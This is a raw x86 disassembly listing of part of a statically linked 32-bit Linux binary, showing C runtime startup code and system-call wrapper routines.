804dd99: 31 c0 xor %eax,%eax | |
804dd9b: c3 ret | |
804dd9c: c3 ret | |
804dd9d: 56 push %esi | |
804dd9e: 53 push %ebx | |
804dd9f: 83 ec 0c sub $0xc,%esp | |
804dda2: 89 c6 mov %eax,%esi | |
804dda4: 89 d3 mov %edx,%ebx | |
804dda6: 6a 01 push $0x1 | |
804dda8: 50 push %eax | |
804dda9: e8 8f e2 ff ff call 0x804c03d | |
804ddae: 83 c4 10 add $0x10,%esp | |
804ddb1: 40 inc %eax | |
804ddb2: 75 19 jne 0x804ddcd | |
804ddb4: 50 push %eax | |
804ddb5: 50 push %eax | |
804ddb6: 53 push %ebx | |
804ddb7: 68 64 ec 04 08 push $0x804ec64 | |
804ddbc: e8 23 e4 ff ff call 0x804c1e4 | |
804ddc1: 83 c4 10 add $0x10,%esp | |
804ddc4: 39 f0 cmp %esi,%eax | |
804ddc6: 74 05 je 0x804ddcd | |
804ddc8: e8 04 fa ff ff call 0x804d7d1 | |
804ddcd: 58 pop %eax | |
804ddce: 5b pop %ebx | |
804ddcf: 5e pop %esi | |
804ddd0: c3 ret | |
804ddd1: 83 ec 0c sub $0xc,%esp | |
804ddd4: 80 3d fc f0 04 08 00 cmpb $0x0,0x804f0fc | |
804dddb: 75 30 jne 0x804de0d | |
804dddd: b8 00 00 00 00 mov $0x0,%eax | |
804dde2: c6 05 fc f0 04 08 01 movb $0x1,0x804f0fc | |
804dde9: c7 05 f0 f0 04 08 00 movl $0x1000,0x804f0f0 | |
804ddf0: 10 00 00 | |
804ddf3: 85 c0 test %eax,%eax | |
804ddf5: 74 05 je 0x804ddfc | |
804ddf7: e8 04 22 fb f7 call 0x0 | |
804ddfc: b8 00 00 00 00 mov $0x0,%eax | |
804de01: 85 c0 test %eax,%eax | |
804de03: 74 08 je 0x804de0d | |
804de05: 83 c4 0c add $0xc,%esp | |
804de08: e9 f3 21 fb f7 jmp 0x0 | |
804de0d: 83 c4 0c add $0xc,%esp | |
804de10: c3 ret | |
804de11: 55 push %ebp | |
804de12: 57 push %edi | |
804de13: 56 push %esi | |
804de14: 53 push %ebx | |
804de15: 81 ec 8c 00 00 00 sub $0x8c,%esp | |
804de1b: 8b 84 24 b8 00 00 00 mov 0xb8(%esp),%eax | |
804de22: 8b bc 24 a8 00 00 00 mov 0xa8(%esp),%edi | |
804de29: a3 e8 f0 04 08 mov %eax,0x804f0e8 | |
804de2e: 8b 84 24 b4 00 00 00 mov 0xb4(%esp),%eax | |
804de35: a3 f8 f0 04 08 mov %eax,0x804f0f8 | |
804de3a: 8b 84 24 a4 00 00 00 mov 0xa4(%esp),%eax | |
804de41: 8b ac 24 ac 00 00 00 mov 0xac(%esp),%ebp | |
804de48: 8d 14 87 lea (%edi,%eax,4),%edx | |
804de4b: 8d 42 04 lea 0x4(%edx),%eax | |
804de4e: a3 ec f0 04 08 mov %eax,0x804f0ec | |
804de53: 3b 07 cmp (%edi),%eax | |
804de55: 75 06 jne 0x804de5d | |
804de57: 89 15 ec f0 04 08 mov %edx,0x804f0ec | |
804de5d: 51 push %ecx | |
804de5e: 6a 78 push $0x78 | |
804de60: 6a 00 push $0x0 | |
804de62: 8d 44 24 20 lea 0x20(%esp),%eax | |
804de66: 50 push %eax | |
804de67: e8 9b e7 ff ff call 0x804c607 | |
804de6c: a1 ec f0 04 08 mov 0x804f0ec,%eax | |
804de71: 83 c4 10 add $0x10,%esp | |
804de74: 83 38 00 cmpl $0x0,(%eax) | |
804de77: 8d 40 04 lea 0x4(%eax),%eax | |
804de7a: 75 f8 jne 0x804de74 | |
804de7c: 89 c3 mov %eax,%ebx | |
804de7e: eb 1b jmp 0x804de9b | |
804de80: 8b 03 mov (%ebx),%eax | |
804de82: 83 f8 0e cmp $0xe,%eax | |
804de85: 77 11 ja 0x804de98 | |
804de87: 52 push %edx | |
804de88: 6a 08 push $0x8 | |
804de8a: 53 push %ebx | |
804de8b: 8d 44 c4 20 lea 0x20(%esp,%eax,8),%eax | |
804de8f: 50 push %eax | |
804de90: e8 1e 08 00 00 call 0x804e6b3 | |
804de95: 83 c4 10 add $0x10,%esp | |
804de98: 83 c3 08 add $0x8,%ebx | |
804de9b: 83 3b 00 cmpl $0x0,(%ebx) | |
804de9e: 75 e0 jne 0x804de80 | |
804dea0: 8d 44 24 14 lea 0x14(%esp),%eax | |
804dea4: e8 21 09 00 00 call 0x804e7ca | |
804dea9: e8 23 ff ff ff call 0x804ddd1 | |
804deae: 8b 44 24 48 mov 0x48(%esp),%eax | |
804deb2: 85 c0 test %eax,%eax | |
804deb4: 75 04 jne 0x804deba | |
804deb6: 66 b8 00 10 mov $0x1000,%ax | |
804deba: a3 f0 f0 04 08 mov %eax,0x804f0f0 | |
804debf: 83 7c 24 70 ff cmpl $0xffffffff,0x70(%esp) | |
804dec4: 75 20 jne 0x804dee6 | |
804dec6: e8 72 05 00 00 call 0x804e43d | |
804decb: 89 c3 mov %eax,%ebx | |
804decd: e8 da 04 00 00 call 0x804e3ac | |
804ded2: 39 c3 cmp %eax,%ebx | |
804ded4: 75 2f jne 0x804df05 | |
804ded6: e8 f7 04 00 00 call 0x804e3d2 | |
804dedb: 89 c3 mov %eax,%ebx | |
804dedd: e8 a4 04 00 00 call 0x804e386 | |
804dee2: 39 c3 cmp %eax,%ebx | |
804dee4: 75 1f jne 0x804df05 | |
804dee6: 8b 44 24 70 mov 0x70(%esp),%eax | |
804deea: 83 f8 ff cmp $0xffffffff,%eax | |
804deed: 74 40 je 0x804df2f | |
804deef: 3b 44 24 78 cmp 0x78(%esp),%eax | |
804def3: 75 10 jne 0x804df05 | |
804def5: 8b 84 24 80 00 00 00 mov 0x80(%esp),%eax | |
804defc: 3b 84 24 88 00 00 00 cmp 0x88(%esp),%eax | |
804df03: 74 2a je 0x804df2f | |
804df05: ba 00 00 02 00 mov $0x20000,%edx | |
804df0a: 31 c0 xor %eax,%eax | |
804df0c: e8 8c fe ff ff call 0x804dd9d | |
804df11: ba 02 00 02 00 mov $0x20002,%edx | |
804df16: b8 01 00 00 00 mov $0x1,%eax | |
804df1b: e8 7d fe ff ff call 0x804dd9d | |
804df20: ba 02 00 02 00 mov $0x20002,%edx | |
804df25: b8 02 00 00 00 mov $0x2,%eax | |
804df2a: e8 6e fe ff ff call 0x804dd9d | |
804df2f: be 00 f0 04 08 mov $0x804f000,%esi | |
804df34: 8b 07 mov (%edi),%eax | |
804df36: 81 ee 00 f0 04 08 sub $0x804f000,%esi | |
804df3c: a3 80 f0 04 08 mov %eax,0x804f080 | |
804df41: c1 fe 02 sar $0x2,%esi | |
804df44: 8b 84 24 b0 00 00 00 mov 0xb0(%esp),%eax | |
804df4b: 31 db xor %ebx,%ebx | |
804df4d: a3 f4 f0 04 08 mov %eax,0x804f0f4 | |
804df52: eb 08 jmp 0x804df5c | |
804df54: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4) | |
804df5b: 43 inc %ebx | |
804df5c: 39 f3 cmp %esi,%ebx | |
804df5e: 72 f4 jb 0x804df54 | |
804df60: 85 ed test %ebp,%ebp | |
804df62: 74 02 je 0x804df66 | |
804df64: ff d5 call *%ebp | |
804df66: be 00 f0 04 08 mov $0x804f000,%esi | |
804df6b: 31 db xor %ebx,%ebx | |
804df6d: 81 ee 00 f0 04 08 sub $0x804f000,%esi | |
804df73: c1 fe 02 sar $0x2,%esi | |
804df76: eb 08 jmp 0x804df80 | |
804df78: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4) | |
804df7f: 43 inc %ebx | |
804df80: 39 f3 cmp %esi,%ebx | |
804df82: 72 f4 jb 0x804df78 | |
804df84: b8 b6 c5 04 08 mov $0x804c5b6,%eax | |
804df89: 85 c0 test %eax,%eax | |
804df8b: 74 0b je 0x804df98 | |
804df8d: e8 24 e6 ff ff call 0x804c5b6 | |
804df92: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804df98: b8 00 00 00 00 mov $0x0,%eax | |
804df9d: 85 c0 test %eax,%eax | |
804df9f: 74 0b je 0x804dfac | |
804dfa1: e8 5a 20 fb f7 call 0x0 | |
804dfa6: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804dfac: 50 push %eax | |
804dfad: ff 35 ec f0 04 08 pushl 0x804f0ec | |
804dfb3: 57 push %edi | |
804dfb4: ff b4 24 b0 00 00 00 pushl 0xb0(%esp) | |
804dfbb: ff 94 24 b0 00 00 00 call *0xb0(%esp) | |
804dfc2: 89 04 24 mov %eax,(%esp) | |
804dfc5: e8 5b fa ff ff call 0x804da25 | |
804dfca: 90 nop | |
804dfcb: 90 nop | |
804dfcc: b8 ad 00 00 00 mov $0xad,%eax | |
804dfd1: cd 80 int $0x80 | |
804dfd3: 58 pop %eax | |
804dfd4: b8 77 00 00 00 mov $0x77,%eax | |
804dfd9: cd 80 int $0x80 | |
804dfdb: 56 push %esi | |
804dfdc: 53 push %ebx | |
804dfdd: 81 ec 24 01 00 00 sub $0x124,%esp | |
804dfe3: 8b 9c 24 34 01 00 00 mov 0x134(%esp),%ebx | |
804dfea: 8b b4 24 38 01 00 00 mov 0x138(%esp),%esi | |
804dff1: 85 db test %ebx,%ebx | |
804dff3: 74 4f je 0x804e044 | |
804dff5: 8b 03 mov (%ebx),%eax | |
804dff7: 89 84 24 98 00 00 00 mov %eax,0x98(%esp) | |
804dffe: 8d 43 04 lea 0x4(%ebx),%eax | |
804e001: 52 push %edx | |
804e002: 68 80 00 00 00 push $0x80 | |
804e007: 50 push %eax | |
804e008: 8d 84 24 b0 00 00 00 lea 0xb0(%esp),%eax | |
804e00f: 50 push %eax | |
804e010: e8 9e 06 00 00 call 0x804e6b3 | |
804e015: 8b 83 84 00 00 00 mov 0x84(%ebx),%eax | |
804e01b: 0d 00 00 00 04 or $0x4000000,%eax | |
804e020: 89 84 24 ac 00 00 00 mov %eax,0xac(%esp) | |
804e027: 83 c4 10 add $0x10,%esp | |
804e02a: b8 cc df 04 08 mov $0x804dfcc,%eax | |
804e02f: f6 83 84 00 00 00 04 testb $0x4,0x84(%ebx) | |
804e036: 75 05 jne 0x804e03d | |
804e038: b8 d3 df 04 08 mov $0x804dfd3,%eax | |
804e03d: 89 84 24 a0 00 00 00 mov %eax,0xa0(%esp) | |
804e044: 31 d2 xor %edx,%edx | |
804e046: 85 f6 test %esi,%esi | |
804e048: 74 04 je 0x804e04e | |
804e04a: 8d 54 24 0c lea 0xc(%esp),%edx | |
804e04e: 31 c0 xor %eax,%eax | |
804e050: 85 db test %ebx,%ebx | |
804e052: 74 07 je 0x804e05b | |
804e054: 8d 84 24 98 00 00 00 lea 0x98(%esp),%eax | |
804e05b: 6a 08 push $0x8 | |
804e05d: 52 push %edx | |
804e05e: 50 push %eax | |
804e05f: ff b4 24 3c 01 00 00 pushl 0x13c(%esp) | |
804e066: e8 96 00 00 00 call 0x804e101 | |
804e06b: 83 c4 10 add $0x10,%esp | |
804e06e: 89 c3 mov %eax,%ebx | |
804e070: 85 f6 test %esi,%esi | |
804e072: 74 35 je 0x804e0a9 | |
804e074: 85 c0 test %eax,%eax | |
804e076: 78 31 js 0x804e0a9 | |
804e078: 8b 44 24 0c mov 0xc(%esp),%eax | |
804e07c: 89 06 mov %eax,(%esi) | |
804e07e: 50 push %eax | |
804e07f: 68 80 00 00 00 push $0x80 | |
804e084: 8d 44 24 20 lea 0x20(%esp),%eax | |
804e088: 50 push %eax | |
804e089: 8d 46 04 lea 0x4(%esi),%eax | |
804e08c: 50 push %eax | |
804e08d: e8 21 06 00 00 call 0x804e6b3 | |
804e092: 8b 44 24 20 mov 0x20(%esp),%eax | |
804e096: 89 86 84 00 00 00 mov %eax,0x84(%esi) | |
804e09c: 8b 44 24 24 mov 0x24(%esp),%eax | |
804e0a0: 83 c4 10 add $0x10,%esp | |
804e0a3: 89 86 88 00 00 00 mov %eax,0x88(%esi) | |
804e0a9: 89 d8 mov %ebx,%eax | |
804e0ab: 81 c4 24 01 00 00 add $0x124,%esp | |
804e0b1: 5b pop %ebx | |
804e0b2: 5e pop %esi | |
804e0b3: c3 ret | |
804e0b4: 89 da mov %ebx,%edx | |
804e0b6: b8 5a 00 00 00 mov $0x5a,%eax | |
804e0bb: 8d 5c 24 04 lea 0x4(%esp),%ebx | |
804e0bf: cd 80 int $0x80 | |
804e0c1: 89 d3 mov %edx,%ebx | |
804e0c3: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e0c8: 0f 87 44 07 00 00 ja 0x804e812 | |
804e0ce: c3 ret | |
804e0cf: 53 push %ebx | |
804e0d0: 83 ec 08 sub $0x8,%esp | |
804e0d3: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e0d7: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e0db: 87 d3 xchg %edx,%ebx | |
804e0dd: b8 66 00 00 00 mov $0x66,%eax | |
804e0e2: cd 80 int $0x80 | |
804e0e4: 87 d3 xchg %edx,%ebx | |
804e0e6: 89 c3 mov %eax,%ebx | |
804e0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e0ed: 76 0c jbe 0x804e0fb | |
804e0ef: e8 c2 e4 ff ff call 0x804c5b6 | |
804e0f4: f7 db neg %ebx | |
804e0f6: 89 18 mov %ebx,(%eax) | |
804e0f8: 83 cb ff or $0xffffffff,%ebx | |
804e0fb: 89 d8 mov %ebx,%eax | |
804e0fd: 5a pop %edx | |
804e0fe: 59 pop %ecx | |
804e0ff: 5b pop %ebx | |
804e100: c3 ret | |
804e101: 57 push %edi | |
804e102: 56 push %esi | |
804e103: 83 ec 04 sub $0x4,%esp | |
804e106: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e10a: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e10e: 8b 54 24 18 mov 0x18(%esp),%edx | |
804e112: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804e116: 53 push %ebx | |
804e117: 89 fb mov %edi,%ebx | |
804e119: b8 ae 00 00 00 mov $0xae,%eax | |
804e11e: cd 80 int $0x80 | |
804e120: 5b pop %ebx | |
804e121: 89 c6 mov %eax,%esi | |
804e123: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e128: 76 0c jbe 0x804e136 | |
804e12a: e8 87 e4 ff ff call 0x804c5b6 | |
804e12f: f7 de neg %esi | |
804e131: 89 30 mov %esi,(%eax) | |
804e133: 83 ce ff or $0xffffffff,%esi | |
804e136: 89 f0 mov %esi,%eax | |
804e138: 5a pop %edx | |
804e139: 5e pop %esi | |
804e13a: 5f pop %edi | |
804e13b: c3 ret | |
804e13c: 57 push %edi | |
804e13d: 53 push %ebx | |
804e13e: 83 ec 04 sub $0x4,%esp | |
804e141: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e145: 53 push %ebx | |
804e146: 89 fb mov %edi,%ebx | |
804e148: b8 01 00 00 00 mov $0x1,%eax | |
804e14d: cd 80 int $0x80 | |
804e14f: 5b pop %ebx | |
804e150: 89 c3 mov %eax,%ebx | |
804e152: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e157: 76 ec jbe 0x804e145 | |
804e159: e8 58 e4 ff ff call 0x804c5b6 | |
804e15e: f7 db neg %ebx | |
804e160: 89 18 mov %ebx,(%eax) | |
804e162: eb e1 jmp 0x804e145 | |
804e164: 53 push %ebx | |
804e165: 83 ec 08 sub $0x8,%esp | |
804e168: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e16c: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e170: 87 d3 xchg %edx,%ebx | |
804e172: b8 0a 01 00 00 mov $0x10a,%eax | |
804e177: cd 80 int $0x80 | |
804e179: 87 d3 xchg %edx,%ebx | |
804e17b: 89 c3 mov %eax,%ebx | |
804e17d: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e182: 76 0c jbe 0x804e190 | |
804e184: e8 2d e4 ff ff call 0x804c5b6 | |
804e189: f7 db neg %ebx | |
804e18b: 89 18 mov %ebx,(%eax) | |
804e18d: 83 cb ff or $0xffffffff,%ebx | |
804e190: 89 d8 mov %ebx,%eax | |
804e192: 5a pop %edx | |
804e193: 59 pop %ecx | |
804e194: 5b pop %ebx | |
804e195: c3 ret | |
804e196: 53 push %ebx | |
804e197: 83 ec 48 sub $0x48,%esp | |
804e19a: 8b 54 24 50 mov 0x50(%esp),%edx | |
804e19e: 8d 4c 24 08 lea 0x8(%esp),%ecx | |
804e1a2: 87 d3 xchg %edx,%ebx | |
804e1a4: b8 6c 00 00 00 mov $0x6c,%eax | |
804e1a9: cd 80 int $0x80 | |
804e1ab: 87 d3 xchg %edx,%ebx | |
804e1ad: 89 c3 mov %eax,%ebx | |
804e1af: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e1b4: 76 0e jbe 0x804e1c4 | |
804e1b6: e8 fb e3 ff ff call 0x804c5b6 | |
804e1bb: f7 db neg %ebx | |
804e1bd: 89 18 mov %ebx,(%eax) | |
804e1bf: 83 cb ff or $0xffffffff,%ebx | |
804e1c2: eb 13 jmp 0x804e1d7 | |
804e1c4: 85 c0 test %eax,%eax | |
804e1c6: 75 0f jne 0x804e1d7 | |
804e1c8: 50 push %eax | |
804e1c9: 50 push %eax | |
804e1ca: ff 74 24 5c pushl 0x5c(%esp) | |
804e1ce: 51 push %ecx | |
804e1cf: e8 62 04 00 00 call 0x804e636 | |
804e1d4: 83 c4 10 add $0x10,%esp | |
804e1d7: 89 d8 mov %ebx,%eax | |
804e1d9: 83 c4 48 add $0x48,%esp | |
804e1dc: 5b pop %ebx | |
804e1dd: c3 ret | |
804e1de: 57 push %edi | |
804e1df: 56 push %esi | |
804e1e0: 53 push %ebx | |
804e1e1: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804e1e5: 52 push %edx | |
804e1e6: ff 74 24 1c pushl 0x1c(%esp) | |
804e1ea: 53 push %ebx | |
804e1eb: ff 74 24 1c pushl 0x1c(%esp) | |
804e1ef: e8 59 00 00 00 call 0x804e24d | |
804e1f4: 83 c4 10 add $0x10,%esp | |
804e1f7: 89 c6 mov %eax,%esi | |
804e1f9: 85 c0 test %eax,%eax | |
804e1fb: 7e 4a jle 0x804e247 | |
804e1fd: 8d 3c 03 lea (%ebx,%eax,1),%edi | |
804e200: eb 41 jmp 0x804e243 | |
804e202: 8b 43 08 mov 0x8(%ebx),%eax | |
804e205: 89 43 04 mov %eax,0x4(%ebx) | |
804e208: 8b 43 10 mov 0x10(%ebx),%eax | |
804e20b: 66 89 43 08 mov %ax,0x8(%ebx) | |
804e20f: 8a 43 12 mov 0x12(%ebx),%al | |
804e212: 88 43 0a mov %al,0xa(%ebx) | |
804e215: 50 push %eax | |
804e216: 0f b7 43 08 movzwl 0x8(%ebx),%eax | |
804e21a: 83 e8 13 sub $0x13,%eax | |
804e21d: 50 push %eax | |
804e21e: 8d 43 13 lea 0x13(%ebx),%eax | |
804e221: 50 push %eax | |
804e222: 8d 43 0b lea 0xb(%ebx),%eax | |
804e225: 50 push %eax | |
804e226: e8 b5 e3 ff ff call 0x804c5e0 | |
804e22b: 83 c4 0c add $0xc,%esp | |
804e22e: 0f b7 43 08 movzwl 0x8(%ebx),%eax | |
804e232: 50 push %eax | |
804e233: 53 push %ebx | |
804e234: 53 push %ebx | |
804e235: e8 a6 e3 ff ff call 0x804c5e0 | |
804e23a: 0f b7 43 08 movzwl 0x8(%ebx),%eax | |
804e23e: 83 c4 10 add $0x10,%esp | |
804e241: 01 c3 add %eax,%ebx | |
804e243: 39 fb cmp %edi,%ebx | |
804e245: 72 bb jb 0x804e202 | |
804e247: 89 f0 mov %esi,%eax | |
804e249: 5b pop %ebx | |
804e24a: 5e pop %esi | |
804e24b: 5f pop %edi | |
804e24c: c3 ret | |
804e24d: 55 push %ebp | |
804e24e: 89 e5 mov %esp,%ebp | |
804e250: 57 push %edi | |
804e251: 56 push %esi | |
804e252: 53 push %ebx | |
804e253: 83 ec 2c sub $0x2c,%esp | |
804e256: 8b 45 10 mov 0x10(%ebp),%eax | |
804e259: 8b 7d 08 mov 0x8(%ebp),%edi | |
804e25c: 83 c0 1e add $0x1e,%eax | |
804e25f: 8b 55 10 mov 0x10(%ebp),%edx | |
804e262: 83 e0 f0 and $0xfffffff0,%eax | |
804e265: 29 c4 sub %eax,%esp | |
804e267: 8d 44 24 0f lea 0xf(%esp),%eax | |
804e26b: 83 e0 f0 and $0xfffffff0,%eax | |
804e26e: 89 45 d4 mov %eax,-0x2c(%ebp) | |
804e271: 89 c1 mov %eax,%ecx | |
804e273: 53 push %ebx | |
804e274: 89 fb mov %edi,%ebx | |
804e276: b8 dc 00 00 00 mov $0xdc,%eax | |
804e27b: cd 80 int $0x80 | |
804e27d: 5b pop %ebx | |
804e27e: 89 45 ec mov %eax,-0x14(%ebp) | |
804e281: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e286: 76 0f jbe 0x804e297 | |
804e288: e8 29 e3 ff ff call 0x804c5b6 | |
804e28d: f7 5d ec negl -0x14(%ebp) | |
804e290: 8b 55 ec mov -0x14(%ebp),%edx | |
804e293: 89 10 mov %edx,(%eax) | |
804e295: eb 5c jmp 0x804e2f3 | |
804e297: 83 7d ec ff cmpl $0xffffffff,-0x14(%ebp) | |
804e29b: 74 56 je 0x804e2f3 | |
804e29d: 8b 75 0c mov 0xc(%ebp),%esi | |
804e2a0: 8b 5d d4 mov -0x2c(%ebp),%ebx | |
804e2a3: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp) | |
804e2aa: c7 45 e4 ff ff ff ff movl $0xffffffff,-0x1c(%ebp) | |
804e2b1: e9 90 00 00 00 jmp 0x804e346 | |
804e2b6: 0f b7 43 10 movzwl 0x10(%ebx),%eax | |
804e2ba: 8d 48 03 lea 0x3(%eax),%ecx | |
804e2bd: 8b 45 0c mov 0xc(%ebp),%eax | |
804e2c0: 83 e1 fc and $0xfffffffc,%ecx | |
804e2c3: 03 45 10 add 0x10(%ebp),%eax | |
804e2c6: 8d 3c 0e lea (%esi,%ecx,1),%edi | |
804e2c9: 89 7d dc mov %edi,-0x24(%ebp) | |
804e2cc: 39 c7 cmp %eax,%edi | |
804e2ce: 76 28 jbe 0x804e2f8 | |
804e2d0: 6a 00 push $0x0 | |
804e2d2: ff 75 e4 pushl -0x1c(%ebp) | |
804e2d5: ff 75 e0 pushl -0x20(%ebp) | |
804e2d8: ff 75 08 pushl 0x8(%ebp) | |
804e2db: e8 83 01 00 00 call 0x804e463 | |
804e2e0: 83 c4 10 add $0x10,%esp | |
804e2e3: 3b 75 0c cmp 0xc(%ebp),%esi | |
804e2e6: 75 6c jne 0x804e354 | |
804e2e8: e8 c9 e2 ff ff call 0x804c5b6 | |
804e2ed: c7 00 16 00 00 00 movl $0x16,(%eax) | |
804e2f3: 83 c8 ff or $0xffffffff,%eax | |
804e2f6: eb 61 jmp 0x804e359 | |
804e2f8: 8b 43 08 mov 0x8(%ebx),%eax | |
804e2fb: 8b 53 0c mov 0xc(%ebx),%edx | |
804e2fe: 89 55 e4 mov %edx,-0x1c(%ebp) | |
804e301: 89 45 e0 mov %eax,-0x20(%ebp) | |
804e304: 8b 03 mov (%ebx),%eax | |
804e306: 8b 53 04 mov 0x4(%ebx),%edx | |
804e309: 89 56 04 mov %edx,0x4(%esi) | |
804e30c: 89 06 mov %eax,(%esi) | |
804e30e: 8b 43 08 mov 0x8(%ebx),%eax | |
804e311: 8b 53 0c mov 0xc(%ebx),%edx | |
804e314: 89 56 0c mov %edx,0xc(%esi) | |
804e317: 89 46 08 mov %eax,0x8(%esi) | |
804e31a: 66 89 4e 10 mov %cx,0x10(%esi) | |
804e31e: 8a 43 12 mov 0x12(%ebx),%al | |
804e321: 88 46 12 mov %al,0x12(%esi) | |
804e324: 50 push %eax | |
804e325: 0f b7 43 10 movzwl 0x10(%ebx),%eax | |
804e329: 83 e8 13 sub $0x13,%eax | |
804e32c: 50 push %eax | |
804e32d: 8d 43 13 lea 0x13(%ebx),%eax | |
804e330: 50 push %eax | |
804e331: 8d 46 13 lea 0x13(%esi),%eax | |
804e334: 50 push %eax | |
804e335: e8 79 03 00 00 call 0x804e6b3 | |
804e33a: 0f b7 43 10 movzwl 0x10(%ebx),%eax | |
804e33e: 8b 75 dc mov -0x24(%ebp),%esi | |
804e341: 01 c3 add %eax,%ebx | |
804e343: 83 c4 10 add $0x10,%esp | |
804e346: 8b 45 d4 mov -0x2c(%ebp),%eax | |
804e349: 03 45 ec add -0x14(%ebp),%eax | |
804e34c: 39 c3 cmp %eax,%ebx | |
804e34e: 0f 82 62 ff ff ff jb 0x804e2b6 | |
804e354: 89 f0 mov %esi,%eax | |
804e356: 2b 45 0c sub 0xc(%ebp),%eax | |
804e359: 8d 65 f4 lea -0xc(%ebp),%esp | |
804e35c: 5b pop %ebx | |
804e35d: 5e pop %esi | |
804e35e: 5f pop %edi | |
804e35f: 5d pop %ebp | |
804e360: c3 ret | |
804e361: 83 ec 24 sub $0x24,%esp | |
804e364: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804e368: 50 push %eax | |
804e369: 6a 07 push $0x7 | |
804e36b: e8 9b 00 00 00 call 0x804e40b | |
804e370: 83 c4 10 add $0x10,%esp | |
804e373: ba 00 01 00 00 mov $0x100,%edx | |
804e378: 85 c0 test %eax,%eax | |
804e37a: 78 04 js 0x804e380 | |
804e37c: 8b 54 24 14 mov 0x14(%esp),%edx | |
804e380: 89 d0 mov %edx,%eax | |
804e382: 83 c4 1c add $0x1c,%esp | |
804e385: c3 ret | |
804e386: 53 push %ebx | |
804e387: 83 ec 08 sub $0x8,%esp | |
804e38a: b8 ca 00 00 00 mov $0xca,%eax | |
804e38f: cd 80 int $0x80 | |
804e391: 89 c3 mov %eax,%ebx | |
804e393: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e398: 76 0c jbe 0x804e3a6 | |
804e39a: e8 17 e2 ff ff call 0x804c5b6 | |
804e39f: f7 db neg %ebx | |
804e3a1: 89 18 mov %ebx,(%eax) | |
804e3a3: 83 cb ff or $0xffffffff,%ebx | |
804e3a6: 89 d8 mov %ebx,%eax | |
804e3a8: 5a pop %edx | |
804e3a9: 59 pop %ecx | |
804e3aa: 5b pop %ebx | |
804e3ab: c3 ret | |
804e3ac: 53 push %ebx | |
804e3ad: 83 ec 08 sub $0x8,%esp | |
804e3b0: b8 c9 00 00 00 mov $0xc9,%eax | |
804e3b5: cd 80 int $0x80 | |
804e3b7: 89 c3 mov %eax,%ebx | |
804e3b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e3be: 76 0c jbe 0x804e3cc | |
804e3c0: e8 f1 e1 ff ff call 0x804c5b6 | |
804e3c5: f7 db neg %ebx | |
804e3c7: 89 18 mov %ebx,(%eax) | |
804e3c9: 83 cb ff or $0xffffffff,%ebx | |
804e3cc: 89 d8 mov %ebx,%eax | |
804e3ce: 5a pop %edx | |
804e3cf: 59 pop %ecx | |
804e3d0: 5b pop %ebx | |
804e3d1: c3 ret | |
804e3d2: 53 push %ebx | |
804e3d3: 83 ec 08 sub $0x8,%esp | |
804e3d6: b8 c8 00 00 00 mov $0xc8,%eax | |
804e3db: cd 80 int $0x80 | |
804e3dd: 89 c3 mov %eax,%ebx | |
804e3df: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e3e4: 76 0c jbe 0x804e3f2 | |
804e3e6: e8 cb e1 ff ff call 0x804c5b6 | |
804e3eb: f7 db neg %ebx | |
804e3ed: 89 18 mov %ebx,(%eax) | |
804e3ef: 83 cb ff or $0xffffffff,%ebx | |
804e3f2: 89 d8 mov %ebx,%eax | |
804e3f4: 5a pop %edx | |
804e3f5: 59 pop %ecx | |
804e3f6: 5b pop %ebx | |
804e3f7: c3 ret | |
804e3f8: a1 f0 f0 04 08 mov 0x804f0f0,%eax | |
804e3fd: ba 00 10 00 00 mov $0x1000,%edx | |
804e402: 85 c0 test %eax,%eax | |
804e404: 74 02 je 0x804e408 | |
804e406: 89 c2 mov %eax,%edx | |
804e408: 89 d0 mov %edx,%eax | |
804e40a: c3 ret | |
804e40b: 53 push %ebx | |
804e40c: 83 ec 08 sub $0x8,%esp | |
804e40f: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e413: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e417: 87 d3 xchg %edx,%ebx | |
804e419: b8 bf 00 00 00 mov $0xbf,%eax | |
804e41e: cd 80 int $0x80 | |
804e420: 87 d3 xchg %edx,%ebx | |
804e422: 89 c3 mov %eax,%ebx | |
804e424: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e429: 76 0c jbe 0x804e437 | |
804e42b: e8 86 e1 ff ff call 0x804c5b6 | |
804e430: f7 db neg %ebx | |
804e432: 89 18 mov %ebx,(%eax) | |
804e434: 83 cb ff or $0xffffffff,%ebx | |
804e437: 89 d8 mov %ebx,%eax | |
804e439: 5a pop %edx | |
804e43a: 59 pop %ecx | |
804e43b: 5b pop %ebx | |
804e43c: c3 ret | |
804e43d: 53 push %ebx | |
804e43e: 83 ec 08 sub $0x8,%esp | |
804e441: b8 c7 00 00 00 mov $0xc7,%eax | |
804e446: cd 80 int $0x80 | |
804e448: 89 c3 mov %eax,%ebx | |
804e44a: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e44f: 76 0c jbe 0x804e45d | |
804e451: e8 60 e1 ff ff call 0x804c5b6 | |
804e456: f7 db neg %ebx | |
804e458: 89 18 mov %ebx,(%eax) | |
804e45a: 83 cb ff or $0xffffffff,%ebx | |
804e45d: 89 d8 mov %ebx,%eax | |
804e45f: 5a pop %edx | |
804e460: 59 pop %ecx | |
804e461: 5b pop %ebx | |
804e462: c3 ret | |
804e463: 57 push %edi | |
